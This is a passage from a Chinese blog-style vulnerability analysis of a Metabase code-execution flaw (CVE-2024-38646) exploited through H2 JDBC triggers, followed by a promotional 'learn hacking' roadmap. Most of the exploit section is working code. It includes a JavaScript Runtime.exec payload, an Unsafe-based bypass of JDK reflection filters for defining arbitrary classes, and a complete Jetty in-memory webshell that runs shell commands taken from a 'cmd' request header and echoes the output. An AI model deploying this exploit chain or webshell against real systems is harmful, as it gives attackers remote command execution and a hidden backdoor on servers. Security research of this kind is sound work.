Bootstrap

漏洞分析|Metabase 代码执行漏洞(CVE-2024-38646):H2 JDBC 深入利用

我们就可以通过 javascript 引擎来实现代码执行,不过该方式在 JDK 15 之后移除了默认的解析,但是有意思的是 Metabase 在项目中使用到了 js 引擎技术。

pCz4ngg.png

最后我们即可构建 javascript 引擎来构建代码执行,如:

java.lang.Runtime.getRuntime().exec('touch /tmp/999')

pCz4Muj.png

4.3 Define Class

通过 TIGGER 我们可以进行执行 javascript 引擎的任意代码执行,所以为了能够更加入的利用非常有必要进行自定义 Class 加载以及执行。由于最新版的 Metabase 对 JDK 运行产生了限制必须要求为 JDK >= 11,所以就必须要解决 JDK9 modules、JDK 11 ReflectionFilter 的问题。

针对类似问题,我们对 javascript 脚本进行了高度的兼容以及高版本 JDK 的 Bypass 操作,核心代码如下:

try {
  load("nashorn:mozilla\_compat.js");
} catch (e) {}
function getUnsafe(){
  var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
  theUnsafeMethod.setAccessible(true); 
  return theUnsafeMethod.get(null);
}
function removeClassCache(clazz){
  var unsafe = getUnsafe();
  var clazzAnonymousClass = unsafe.defineAnonymousClass(clazz,java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes(),null);
  var reflectionDataField = clazzAnonymousClass.getDeclaredField("reflectionData");
  unsafe.putObject(clazz,unsafe.objectFieldOffset(reflectionDataField),null);
}
function bypassReflectionFilter() {
  var reflectionClass;
  try {
    reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
  } catch (error) {
    reflectionClass = java.lang.Class.forName("sun.reflect.Reflection");
  }
  var unsafe = getUnsafe();
  var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
  var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
  var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
  var methodFilterMapField = reflectionAnonymousClass.getDeclaredField("methodFilterMap");
  if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
    unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
  }
  if (methodFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
    unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(methodFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
  }
  removeClassCache(java.lang.Class.forName("java.lang.Class"));
}
function setAccessible(accessibleObject){
    var unsafe = getUnsafe();
    var overrideField = java.lang.Class.forName("java.lang.reflect.AccessibleObject").getDeclaredField("override");
    var offset = unsafe.objectFieldOffset(overrideField);
    unsafe.putBoolean(accessibleObject, offset, true);
}
function defineClass(){
  var clz = null;
  var version = java.lang.System.getProperty("java.version");
  var unsafe = getUnsafe();
  var classLoader = new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0));
  try{
    if (version.split(".")[0] >= 11) {
      bypassReflectionFilter();
    defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", java.lang.Class.forName("[B"),java.lang.Integer.TYPE, java.lang.Integer.TYPE);
    setAccessible(defineClassMethod);
    // 绕过 setAccessible 
    clz = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
    }else{
      var protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.security.cert.Certificate"), 0)), null, classLoader, []);
      clz = unsafe.defineClass(null, bytes, 0, bytes.length, classLoader, protectionDomain);
    }
  }catch(error){
    error.printStackTrace();
  }finally{
    return clz;
  }
}
defineClass();

4.4 漏洞回显

在漏洞回显时,我们就可以借助 DefineClass 来执行完成对漏洞的回显利用,但是目前最新版本的 Metabase 使用 Jetty11,所以需要针对该版本做回显适配,核心代码如下:

import java.io.OutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

/\*\*
 \* Jetty CMD 回显马
 \* @author R4v3zn [email protected]
 \* @version 1.0.1
 \*/
public class JE2 {

    public JE2(){
        try{
            invoke();
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public void invoke()throws Exception{
        ThreadGroup group = Thread.currentThread().getThreadGroup();
        java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
        f.setAccessible(true);
        Thread[] threads = (Thread[]) f.get(group);
        thread : for (Thread thread: threads) {
            try{
                Field threadLocalsField = thread.getClass().getDeclaredField("threadLocals");
                threadLocalsField.setAccessible(true);
                Object threadLocals = threadLocalsField.get(thread);
                if (threadLocals == null){
                    continue;
                }
                Field tableField = threadLocals.getClass().getDeclaredField("table");
                tableField.setAccessible(true);
                Object tableValue = tableField.get(threadLocals);
                if (tableValue == null){
                    continue;
                }
                Object[] tables =  (Object[])tableValue;
                for (Object table:tables) {
                    if (table == null){
                        continue;
                    }
                    Field valueField = table.getClass().getDeclaredField("value");
                    valueField.setAccessible(true);
                    Object value = valueField.get(table);
                    if (value == null){
                        continue;
                    }
                    System.out.println(value.getClass().getName());
                    if(value.getClass().getName().endsWith("AsyncHttpConnection")){
                        Method method = value.getClass().getMethod("getRequest", null);
                        value = method.invoke(value, null);
                        method = value.getClass().getMethod("getHeader", new Class[]{String.class});
                        String cmd = (String)method.invoke(value, new Object[]{"cmd"});
                        String result = "\n"+exec(cmd);
                        method = value.getClass().getMethod("getPrintWriter", new Class[]{String.class});
                        java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(value, new Object[]{"utf-8"});
                        printWriter.println(result);
                        printWriter.flush();
                        break thread;
                    }else if(value.getClass().getName().endsWith("HttpConnection")){
                        Method method = value.getClass().getDeclaredMethod("getHttpChannel", null);
                        Object httpChannel = method.invoke(value, null);
                        method = httpChannel.getClass().getMethod("getRequest", null);
                        value = method.invoke(httpChannel, null);
                        method = value.getClass().getMethod("getHeader", new Class[]{String.class});
                        String cmd = (String)method.invoke(value, new Object[]{"cmd"});
                        String result = "\n"+exec(cmd);
                        method = httpChannel.getClass().getMethod("getResponse", null);
                        value = method.invoke(httpChannel, null);
                        method = value.getClass().getMethod("getWriter", null);
                        java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(value, null);
                        printWriter.println(result);
                        printWriter.flush();
                        break thread;
                    }else if (value.getClass().getName().endsWith("Channel")){
                        Field underlyingOutputField = value.getClass().getDeclaredField("underlyingOutput");
                        underlyingOutputField.setAccessible(true);
                        Object underlyingOutput = underlyingOutputField.get(value);
                        Object httpConnection;
                        try{
                            Field _channelField = underlyingOutput.getClass().getDeclaredField("\_channel");
                            _channelField.setAccessible(true);
                            httpConnection = _channelField.get(underlyingOutput);
                        }catch (Exception e){
                            Field connectionField = underlyingOutput.getClass().getDeclaredField("this$0");
                            connectionField.setAccessible(true);
                            httpConnection = connectionField.get(underlyingOutput);
                        }
                        Object request = httpConnection.getClass().getMethod("getRequest").invoke(httpConnection);
                        Object response = httpConnection.getClass().getMethod("getResponse").invoke(httpConnection);
                        String cmd = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "cmd");
                        OutputStream outputStream = (OutputStream)response.getClass().getMethod("getOutputStream").invoke(response);
                        String result = "\n"+exec(cmd);
                        outputStream.write(result.getBytes());
                        outputStream.flush();
                        break thread;
                    }
                }
            }catch (Exception e){}
        }
    }

    public String exec(String cmd){
        if (cmd != null && !"".equals(cmd)) {
            String os = System.getProperty("os.name").toLowerCase();
            cmd = cmd.trim();
            Process process = null;
            String[] executeCmd = null;
            if (os.contains("win")) {
                if (cmd.contains("ping") && !cmd.contains("-n")) {
                    cmd = cmd + " -n 4";
                }
                executeCmd = new String[]{"cmd", "/c", cmd};
            } else {
                if (cmd.contains("ping") && !cmd.contains("-n")) {
                    cmd = cmd + " -t 4";
                }
                executeCmd = new String[]{"sh", "-c", cmd};
            }
            try {
                process = Runtime.getRuntime().exec(executeCmd);
                Scanner s = new Scanner(process.getInputStream()).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                s = new Scanner(process.getErrorStream()).useDelimiter("\\a");
                output += s.hasNext()?s.next():"";
                return output;
            } catch (Exception e) {
                e.printStackTrace();
                return e.toString();
            } finally {
                if (process != null) {
                    process.destroy();
                }
            }
        } else {
            return "command not null";
        }
    }
}

0x05 总结

本次漏洞利用数据库连接信息触发漏洞,利用 H2 导致可以进行任意命令。我们采用 TRIGGER + DefineClass 完成对漏洞的利用,通过我们的研究分析发现该技术不光可应用在数据库连接中,更多可应用于 H2 的 SQL 注入,完成 SQL 注入 -> 代码执行的过程。

0x06 参考

Goby 欢迎表哥/表姐们加入我们的社区大家庭,一起交流技术、生活趣事、奇闻八卦,结交无数白帽好友。

也欢迎投稿到 Goby(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写/ IP 库使用场景/ Webshell /漏洞分析 等文章均可),审核通过后可奖励 Goby 红队版,快来加入微信群体验吧~~~

文章来自Goby社区成员:路人甲@白帽汇安全研究院,转载请注明出处。
微信群:公众号发暗号“加群”,参与积分商城、抽奖等众多有趣的活动

如何自学黑客&网络安全

黑客零基础入门学习路线&规划

初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。
img

网络安全工程师企业级学习路线

img
如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的

视频配套资料&国内外网安书籍、文档&工具

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

img
一些笔者自己买的、其他平台白嫖不到的视频教程。
img

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

;